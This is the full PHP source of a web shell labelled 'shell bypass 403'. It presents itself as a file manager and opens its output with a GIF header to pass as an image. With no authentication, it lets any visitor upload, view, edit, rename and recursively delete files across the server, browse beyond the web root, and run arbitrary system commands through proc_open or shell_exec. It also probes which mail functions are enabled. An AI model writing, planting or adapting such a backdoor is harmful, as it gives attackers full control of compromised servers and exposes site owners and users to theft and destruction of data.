shell bypass 403
<?php
error_reporting(0);
echo "GIF89a;\n<!DOCTYPE html>\n<html>\n<head>\n <title>File Manager</title>\n <meta charset=\"UTF-8\">\n <style>\n form input[type=file],form input[type=submit]{
background-color:#000;
color:#fff;
cursor:pointer}
.header,.permission,.subheader{
text-align:center}
body{
font-family:'Arial Black',sans-serif;
color:#000;
margin:0;
padding:0;
background-color:#242222c9}
.container{
max-width:90%;
margin:20px auto;
padding:20px;
background-color:#fff;
border-radius:44px;
box-shadow:0 0 10px rgba(0,0,0,.1)}
.result-box{
width:100%;
height:200px;
resize:none;
overflow:auto;
background-color:#f4f4f4;
padding:10px;
border-radius:5px;
box-sizing:border-box;
color:#333;
border:1px solid #ddd;
font-family:'Arial Black'}
form input[type=text],form textarea{
padding:8px;
margin-bottom:10px;
border:1px solid #000;
border-radius:3px;
box-sizing:border-box}
form input[type=submit]{
padding:10px;
border:none;
border-radius:3px}
form input[type=submit]:hover{background-color:#143015}
table{width:100%;border-collapse:collapse;margin-top:20px}
td,th{padding:8px;text-align:left}
th{background-color:#5c5c5c}
tr:nth-child(2n){background-color:#9c9b9bce}
.item-name{max-width:200px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}
.date,.size{width:100px}
.permission{font-weight:700;width:50px;text-align:center}
.writable{color:#0db202}
.not-writable{color:#d60909}
textarea[name=file_content]{width:calc(100.9% - 10px);padding:8px;max-height:500px;resize:vertical;border-radius:3px;border:1px solid #ddd;font-family:'Arial Black'}
\n</style>\n</head>\n<body>\n<div class=\"container\">\n";
function x($b){ return base64_encode($b); }
function y($b){ return base64_decode($b); }
function deleteDirectory($dir){
if(!file_exists($dir)) return true;
if(!is_dir($dir)) return unlink($dir);
foreach(scandir($dir) as $item){
if($item=="."||$item=="..") continue;
if(!deleteDirectory($dir.DIRECTORY_SEPARATOR.$item)) return false;
}
return rmdir($dir);
}
$rootDirectory = isset($_SERVER["DOCUMENT_ROOT"]) ? realpath($_SERVER["DOCUMENT_ROOT"]) : realpath(__DIR__);
$scriptDirectory = dirname(__FILE__);
$currentDirectory = realpath(isset($_POST["d"]) ? y($_POST["d"]) : $rootDirectory);
if(!$currentDirectory) $currentDirectory = $rootDirectory;
chdir($currentDirectory);
$viewCommandResult = "";
// Server info
$mail_s = function_exists("mail") ? "<font color='black'>[ mail() :</font><font color='green'> [ ON ]</font> ]" : "<font color='black'>[ mail() :</font><font color='red'> [ OFF ]</font> ]";
$mb_s = function_exists("mb_send_mail") ? "<font color='black'>[ mb_send_mail() :</font><font color='green'> [ ON ]</font> ]" : "<font color='black'>[ mb_send_mail() :</font><font color='red'> [ OFF ]</font> ]";
$err_s = function_exists("error_log") ? "<font color='black'>[ error_log() :</font><font color='green'> [ ON ]</font> ]" : "<font color='black'>[ error_log() :</font><font color='red'> [ OFF ]</font> ]";
$imap_s = function_exists("imap_mail") ? "<font color='black'>[ imap_mail() :</font><font color='green'> [ ON ]</font> ]<br>" : "<font color='black'>[ imap_mail() :</font><font color='red'> [ OFF ]</font> ]<br>";
echo "<font color='black'>[ Server Info ]</font><br>";
echo $mail_s." ".$mb_s." ".$err_s." ".$imap_s;
if(function_exists("putenv")){
echo "<font color='black'>[ Function putenv() ] :</font><font color='green'> [ ON ]</font><br>";
} else {
echo "<font color='black'>[ Function putenv() ] :</font><font color='red'> [ OFF ]</font><br>";
}
// POST handlers
if($_SERVER["REQUEST_METHOD"]==="POST"){
if(isset($_FILES["fileToUpload"])){
$target_file = $currentDirectory."/".basename($_FILES["fileToUpload"]["name"]);
if(move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)){
echo "<hr>File ".htmlspecialchars(basename($_FILES["fileToUpload"]["name"]))." Upload success<hr>";
} else {
echo "<hr>Sorry, there was an error uploading your file.<hr>";
}
} elseif(isset($_POST["folder_name"])&&!empty($_POST["folder_name"])){
$newFolder = $currentDirectory."/".basename($_POST["folder_name"]);
if(!file_exists($newFolder)){
echo mkdir($newFolder) ? "<hr>Folder created successfully!" : "<hr>Error: Failed to create folder!";
}
} elseif(isset($_POST["file_name"])){
$fileName = $_POST["file_name"];
$newFile = $currentDirectory."/".$fileName;
if(!file_exists($newFile)){
if(file_put_contents($newFile,"")!==false){
$fileToView = $newFile;
$fileContent = file_get_contents($fileToView);
$viewCommandResult = "<hr><p>Result: ".$fileName."</p>
<form method='post' action='?d=".x($currentDirectory)."'>
<input type='hidden' name='d' value='".x($currentDirectory)."'>
<textarea name='content' class='result-box'>".htmlspecialchars($fileContent)."</textarea><td>
<input type='hidden' name='edit_file' value='".htmlspecialchars($fileName)."'>
<input type='submit' value=' Save '></form></td>";
} else {
echo "<hr>Error: Failed to create file!";
}
} else {
echo "<hr>Error: File Already Exists!";
}
} elseif(isset($_POST["cmd_input"])){
// cmd_input bypass - handled below via cmd_biasa
} elseif(isset($_POST["delete_file"])){
$fileToDelete = $currentDirectory."/".$_POST["delete_file"];
if(file_exists($fileToDelete)){
if(is_dir($fileToDelete)){
echo deleteDirectory($fileToDelete) ? "<hr>Folder deleted successfully!" : "<hr>Error: Failed to delete folder!";
} else {
echo unlink($fileToDelete) ? "<hr>File deleted successfully!" : "<hr>Error: Failed to delete file!";
}
} else {
echo "<hr>Error: File or directory not found!";
}
} elseif(isset($_POST["rename_item"])&&isset($_POST["old_name"])&&isset($_POST["new_name"])){
$oldName = $currentDirectory."/".$_POST["old_name"];
$newName = $currentDirectory."/".$_POST["new_name"];
if(file_exists($oldName)){
echo rename($oldName,$newName) ? "<hr>Item renamed successfully!" : "<hr>Error: Failed to rename item!";
} else {
echo "<hr>Error: Item not found!";
}
} elseif(isset($_POST["cmd_biasa"])){
$command = $_POST["cmd_biasa"];
if(function_exists("proc_open")){
$descriptorspec = [0=>["pipe","r"],1=>["pipe","w"],2=>["pipe","w"]];
$process = proc_open($command,$descriptorspec,$pipes);
if(is_resource($process)){
$output = stream_get_contents($pipes[1]);
$errors = stream_get_contents($pipes[2]);
fclose($pipes[1]); fclose($pipes[2]); proc_close($process);
if(!empty($errors)){
$viewCommandResult = "<hr><p>Error: </p><textarea class='result-box'>".htmlspecialchars($errors)."</textarea>";
} else {
$viewCommandResult = "<hr><p>Result: </p><textarea class='result-box'>".htmlspecialchars($output)."</textarea>";
}
} else {
$viewCommandResult = "Result:</p><textarea class='result-box'>Error: Failed to execute command! </textarea>";
}
} elseif(function_exists("shell_exec")){
$viewCommandResult = "<hr><p>Result: </p><textarea class='result-box'>".htmlspecialchars(shell_exec($command." 2>&1"))."</textarea>";
}
} elseif(isset($_POST["view_file"])){
$fileToView = $currentDirectory."/".$_POST["view_file"];
if(file_exists($fileToView)){
$fileContent = file_get_contents($fileToView);
$viewCommandResult = "<hr><p>Result: ".$_POST["view_file"]."</p>
<form method='post'>
<input type='hidden' name='d' value='".x($currentDirectory)."'>
<textarea name='content' class='result-box'>".htmlspecialchars($fileContent)."</textarea><td>
<input type='hidden' name='edit_file' value='".htmlspecialchars($_POST["view_file"])."'>
<input type='submit' value=' Save '></form></td>";
} else {
$viewCommandResult = "<hr><p>Error: File not found!</p>";
}
} elseif(isset($_POST["edit_file"])){
$ef = $currentDirectory."/".$_POST["edit_file"];
$newContent = $_POST["content"];
if(file_put_contents($ef,$newContent)!==false){
echo "<hr>File Edited successfully! ".$_POST["edit_file"]."<hr>";
} else {
echo "<hr>Error: Failed Edit File! ".$_POST["edit_file"]."<hr>";
}
}
}
// Breadcrumb
echo "<hr>DIR: ";
$directories = explode(DIRECTORY_SEPARATOR, $currentDirectory);
$currentPath = "";
foreach($directories as $index=>$dir){
$currentPath .= DIRECTORY_SEPARATOR.$dir;
$rp = realpath($currentPath);
if($index==0){
echo "/<form method='post' style='display:inline'><input type='hidden' name='d' value='".x($rp?$rp:$currentPath)."'><button type='submit' style='background:none;border:none;cursor:pointer;color:#00f;text-decoration:underline;padding:0;'>".$dir."</button></form>";
} else {
echo "/<form method='post' style='display:inline'><input type='hidden' name='d' value='".x($rp?$rp:$currentPath)."'><button type='submit' style='background:none;border:none;cursor:pointer;color:#00f;text-decoration:underline;padding:0;'>".$dir."</button></form>";
}
}
echo "<form method='post' style='display:inline'><input type='hidden' name='d' value='".x($scriptDirectory)."'><button type='submit' style='background:none;border:none;cursor:pointer;color:green;'> / [ GO Home ]</button></form>";
echo "<br>";
// Upload + action forms
$_hd = "<input type='hidden' name='d' value='".x($currentDirectory)."'>";
echo "<hr><form method='post' enctype='multipart/form-data'>".$_hd."<input type='file' name='fileToUpload' id='fileToUpload'><input type='submit' value='Upload File' name='submit'></form><hr>";
echo "<table border='5'><tbody><tr>
<td><center>Command BYPASS<form method='post'>".$_hd."<input type='text' name='cmd_input' placeholder='Enter command'><input type='submit' value='Run Command'></form></center></td>
<td><center>Command BIASA<form method='post'>".$_hd."<input type='text' name='cmd_biasa' placeholder='Enter command'><input type='submit' value='Run Command'></form></center></td>
<td><center>Create Folder<form method='post'>".$_hd."<input type='text' name='folder_name' placeholder='Folder Name'><input type='submit' value='Create Folder'></form></center></td>
<td><center>Create File<form method='post'>".$_hd."<input type='text' name='file_name' placeholder='File Name'><input type='submit' value='Create File'></form></center></td>
</tr></tbody></table>";
echo $viewCommandResult;
// File listing
echo "<table border=1>";
echo "<br><tr><th><center>Item Name</th><th><center>Size</th><th><center>Date</th><th>Permissions</th><th><center>View</th><th><center>Delete</th><th><center>Rename</th></tr>";
foreach(scandir($currentDirectory) as $v){
$u = realpath($v);
$s = stat($u);
$itemLink = is_dir($v)
? "<form method='post' style='display:inline'>".$_hd."<input type='hidden' name='d' value='".x($currentDirectory."/".$v)."'><button type='submit' style='background:none;border:none;cursor:pointer;color:#00f;text-decoration:underline;'>".$v."/</button></form>"
: "<span>".$v."</span>";
$permission = substr(sprintf("%o",fileperms($u)),-4);
$writable = is_writable($u);
echo "<tr>
<td class='item-name'>".$itemLink."</td>
<td class='size'>".filesize($u)."</td>
<td class='date' style='text-align:center;'>".date("Y-m-d H:i:s",filemtime($u))."</td>
<td class='permission ".($writable?"writable":"not-writable")."'>".$permission."</td>
<td><center><form method='post'>".$_hd."<input type='hidden' name='view_file' value='".htmlspecialchars($v)."'><input type='submit' value=' View '></form></center></td>
<td><center><form method='post'>".$_hd."<input type='hidden' name='delete_file' value='".htmlspecialchars($v)."'><input type='submit' value='Delete'></form></center></td>
<td><form method='post'>".$_hd."<input type='hidden' name='old_name' value='".htmlspecialchars($v)."'><input type='text' name='new_name' placeholder='New Name'><input type='submit' name='rename_item' value='Rename'></form></td>
</tr>";
}
echo "</table>";
?>
</div>
</body>
</html>